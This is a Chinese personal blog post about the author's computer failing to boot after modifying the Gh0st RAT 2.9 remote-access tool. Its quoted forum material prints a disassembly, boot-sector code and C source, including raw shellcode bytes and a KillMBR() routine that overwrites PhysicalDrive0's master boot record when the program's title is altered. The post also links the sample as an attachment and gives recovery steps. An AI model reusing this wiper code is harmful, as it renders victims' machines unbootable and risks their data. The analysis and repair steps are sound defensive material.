广陵散`s Blog

性格决定习惯,习惯决定命运。

May
1

I am virus FUCK YOU :-]病毒

昨天改gh0st2.9,不幸中招.:-]:-]:-]:-]:-]:-],刚改完没注意,今天早上重启才发现,汗的.找PE光盘修复找了好久,
红狼也不写个提示,真郁闷,修复了好久.幸亏不是格式化

下面是我在网上找的,大家看看哈:
最近看了下论坛红狼的远控 gh0st发步了2.9的新版本 ,闲着没事,就把他的壳脱了,发现脱壳了看不到

里面的资源,修复后,我试着改改版权,发现一个问题,用反汇编修改后,拒绝启动,呵呵,程序本身有自校验

,{我的理解是,程序发生变化或者改动,调用了退出函数],看着那样我也没有管他,到晚上我安装了一个风

云防火强,需要重新启动电脑的时候发现进不去,只有个一个黑色画面提示I am virus FUCK YOU :-],安

全模式也进不去,出现这样的画面,已经说的很明显,中毒.
百度一下,居然没有查到信息,后来到360论坛才查到关于I am virus FUCK YOU :-]的信息
360的一位牛人分析如下
I am virus简单分析打开物理磁盘,然后锁定卷,写磁盘前512字节,解锁关句柄退出

00401000 /$ 81EC 08020000 sub esp,208

00401006 |. 56 push esi

00401007 |. 57 push edi

00401008 |. B9 7F000000 mov ecx,7F

0040100D |. 33C0 xor eax,eax

0040100F |. 8D7C24 11 lea edi,dword ptr ss:[esp+11]

00401013 |. 6A 00 push 0 ; /hTemplateFile = NULL

00401015 |. F3:AB rep stos dword ptr es:[edi] ; |

00401017 |. 66:AB stos word ptr es:[edi] ; |

00401019 |. 6A 00 push 0 ; |Attributes = 0

0040101B |. 6A 03 push 3 ; |Mode = OPEN_EXISTING

0040101D |. AA stos byte ptr es:[edi] ; |

0040101E |. 6A 00 push 0 ; |pSecurity = NULL

00401020 |. B9 0C000000 mov ecx,0C ; |

00401025 |. BE 30604000 mov esi,virus.00406030 ; |

0040102A |. 8D7C24 20 lea edi,dword ptr ss:[esp+20] ; |

0040102E |. 6A 03 push 3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE

00401030 |. 68 000000C0 push C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE

00401035 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi] ; |

00401037 |. 68 64604000 push virus.00406064 ; |FileName = "

\\.\PHYSICALDRIVE0"

0040103C |. C68424 2A020000 >mov byte ptr ss:[esp+22A],55 ; |

00401044 |. C68424 2B020000 >mov byte ptr ss:[esp+22B],0AA ; |

0040104C |. FF15 10504000 call dword ptr ds:[] ; \CreateFileA

00401052 |. 8BF0 mov esi,eax

00401054 |. 83FE FF cmp esi,-1

00401057 |. 75 0D jnz short virus.00401066

00401059 |. 5F pop edi

0040105A |. 0BC0 or eax,eax

0040105C |. 5E pop esi

0040105D |. 81C4 08020000 add esp,208

00401063 |. C2 1000 retn 10

00401066 |> 8D4424 08 lea eax,dword ptr ss:[esp+8]

0040106A |. 8B3D 0C504000 mov edi,dword ptr ds:[] ; kernel32.DeviceIoControl

00401070 |. 6A 00 push 0 ; /pOverlapped = NULL

00401072 |. 50 push eax ; |pBytesReturned

00401073 |. 6A 00 push 0 ; |OutBufferSize = 0

00401075 |. 6A 00 push 0 ; |OutBuffer = NULL

00401077 |. 6A 00 push 0 ; |InBufferSize = 0

00401079 |. 6A 00 push 0 ; |InBuffer = NULL

0040107B |. 68 18000900 push 90018 ; |IoControlCode = FSCTL_LOCK_VOLUME

00401080 |. 56 push esi ; |hDevice

00401081 |. FFD7 call edi ; \DeviceIoControl

00401083 |. 8D4C24 0C lea ecx,dword ptr ss:[esp+C]

00401087 |. 6A 00 push 0 ; /pOverlapped = NULL

00401089 |. 51 push ecx ; |pBytesWritten

0040108A |. 8D5424 18 lea edx,dword ptr ss:[esp+18] ; |

0040108E |. 68 00020000 push 200 ; |nBytesToWrite = 200 (512.)

00401093 |. 52 push edx ; |Buffer

00401094 |. 56 push esi ; |hFile

00401095 |. FF15 08504000 call dword ptr ds:[] ; \WriteFile

0040109B |. 8D4424 08 lea eax,dword ptr ss:[esp+8]

0040109F |. 6A 00 push 0 ; /pOverlapped = NULL

004010A1 |. 50 push eax ; |pBytesReturned

004010A2 |. 6A 00 push 0 ; |OutBufferSize = 0

004010A4 |. 6A 00 push 0 ; |OutBuffer = NULL

004010A6 |. 6A 00 push 0 ; |InBufferSize = 0

004010A8 |. 6A 00 push 0 ; |InBuffer = NULL

004010AA |. 68 1C000900 push 9001C ; |IoControlCode = FSCTL_UNLOCK_VOLUME

004010AF |. 56 push esi ; |hDevice

004010B0 |. FFD7 call edi ; \DeviceIoControl

004010B2 |. 56 push esi ; /hObject

004010B3 |. FF15 04504000 call dword ptr ds:[] ; \CloseHandle

004010B9 |. 6A FF push -1 ; /ExitCode = FFFFFFFF

004010BB \. FF15 00504000 call dword ptr ds:[] ; \ExitProcess

写入引导扇区的内容

0012FD38 ?.??|?.? ?.? ?恂I am virus! Fuck you :-)................

0012FD78 ................................................................

0012FDB8 ................................................................

0012FDF8 ................................................................

0012FE38 ................................................................

0012FE78 ................................................................

0012FEB8 ................................................................

0012FEF8 ..............................................................U
想了半天还不清楚是那里来的毒,跑到天阳技术论坛和人说,又发现线索,
下面是天阳技术论坛的资料

I am virus FUCK YOU 病毒


最近看了下 红狼的远控 gh0st的源代码 发现里面暗藏着一个病毒, 呵呵 我把它的部分提取出来了。

运行后,重写了你的MBR 当你再次开机的时候 ,你将无法进入系统 出现 I am virus FUCK YOU

的字样,呵呵 我将它发上来,想玩就取玩玩。 记住千万不要在本机里运行,可能导致你硬盘数据

全部丢失(实际上是没丢,可以修复), 要试验在虚拟机进行吧,

具体解决方法如下
首先找一张带PE系统的光盘,然后开机按DEL键盘,进入COMS,选择PE进去,进去之后,会和正常电脑一样
不用管他
选择开始菜单,有个磁盘修复,会弹出一个对话筐,你电脑有分几个区,就有几个盘,选中一个右键盘,修复

引导分区,点自动就可以了,记得每个盘都要修复,修复完了保存,确定,重新启动电脑就可以了,我修复了

两次才好的.


MJ0011 2008-04-22 14:06

被改写的MBR代码:
作用是清屏并显示字符:"'I am virus! Fuck you :-)",然后进入死循环

seg000:0000 mov ax, 12h
seg000:0003 int 10h ; - VIDEO - SET VIDEO MODE
seg000:0003 ; AL = mode
seg000:0005 mov bp, 7C18h ; string start addr
seg000:0008 mov cx, 18h ; string length
seg000:000B mov ax, 1301h
seg000:000E mov bx, 0Ch
seg000:0011 mov dx, 0E1Dh
seg000:0014 int 10h ; - VIDEO - WRITE STRING (AT,XT286,PS,EGA,VGA)
seg000:0014 ; AL = mode, BL = attribute if AL bit 1 clear, BH = display page number
seg000:0014 ; DH,DL = row,column of starting cursor position, CX = length of string
seg000:0014 ; ES:BP -> start of string
seg000:0014
seg000:0016
seg000:0016 ForeverLoop: ; CODE XREF: seg000:ForeverLoopj
seg000:0016 loop ForeverLoop
seg000:0016
seg000:0016 ; ---------------------------------------------------------------------------
seg000:0018 s_IAmVirusFuckY db 'I am virus! Fuck you :-)'
seg000:0018 seg000 ends


写入MBR的C代码:

unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int CGh0stApp::KillMBR()
{
// HANDLE hDevice;
// DWORD dwBytesWritten, dwBytesReturned;
// BYTE pMBR[512] = {0};
//
// // 重新构造MBR
// memcpy(pMBR, scode, sizeof(scode) - 1);
// pMBR[510] = 0x55;
// pMBR[511] = 0xAA;
//
// hDevice = CreateFile
// (
// "\\\\.\\PHYSICALDRIVE0",
// GENERIC_READ | GENERIC_WRITE,
// FILE_SHARE_READ | FILE_SHARE_WRITE,
// NULL,
// OPEN_EXISTING,
// 0,
// NULL
// );
// if (hDevice == INVALID_HANDLE_VALUE)
// return -1;
// DeviceIoControl
// (
// hDevice,
// FSCTL_LOCK_VOLUME,
// NULL,
// 0,
// NULL,
// 0,
// &dwBytesReturned,
// NULL
// );
// // 写入病毒内容
// WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
// DeviceIoControl
// (
// hDevice,
// FSCTL_UNLOCK_VOLUME,
// NULL,
// 0,
// NULL,
// 0,
// &dwBytesReturned,
// NULL
// );
// CloseHandle(hDevice);
//
// ExitProcess(-1);
return 0;
}



MJ0011 2008-04-22 14:10
判断部分:

char strVer[10];
char strTitle[10];

strVer[0] = 'C';
strVer[1] = '.';
strVer[2] = 'R';
strVer[3] = 'u';
strVer[4] = 'f';
strVer[5] = 'u';
strVer[6] = 's';
strVer[7] = ' ';
strVer[8] = 'S';
strVer[9] = '\0';

strTitle[0] = 'G';
strTitle[1] = 'h';
strTitle[2] = '0';
strTitle[3] = 's';
strTitle[4] = 't';
strTitle[5] = ' ';
strTitle[6] = 'R';
strTitle[7] = 'A';
strTitle[8] = 'T';
strTitle[9] = '\0';

CString str;
GetDlgItemText(IDC_STATIC_VER, str);
// if (str.Find(strVer) == -1)
// ((CGh0stApp *)AfxGetApp())->KillMBR();

GetParent()->GetWindowText(str);
// if (str.Find(strTitle) == -1)
// ((CGh0stApp *)AfxGetApp())->KillMBR();


//判断自己的标题被改了,就KILL MBR


不过写MBR的方法很挫,会被HIPS报警,而且不能穿透还原或影子

virus.rar

« Gh0st RAT Beta 2.9脱壳版本+原版暗组2009 升级版Ⅰ版 BT+HTTP 暗组论坛5、1劳动节巨献! »
  • 相关文章:

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

Channels

Categories

Comments

Previous

Powered By Z-Blog 1.8 Spirit Build 80722  Copyright 2008-2009 苏ICP备08000947号

免费资源┊病毒防护┊免费教程┊电脑安全┊编程代码┊免杀技巧┊学习娱乐┊热点新闻

 www.lizhenglin.com www.AQ520.com 点击这里给我发消息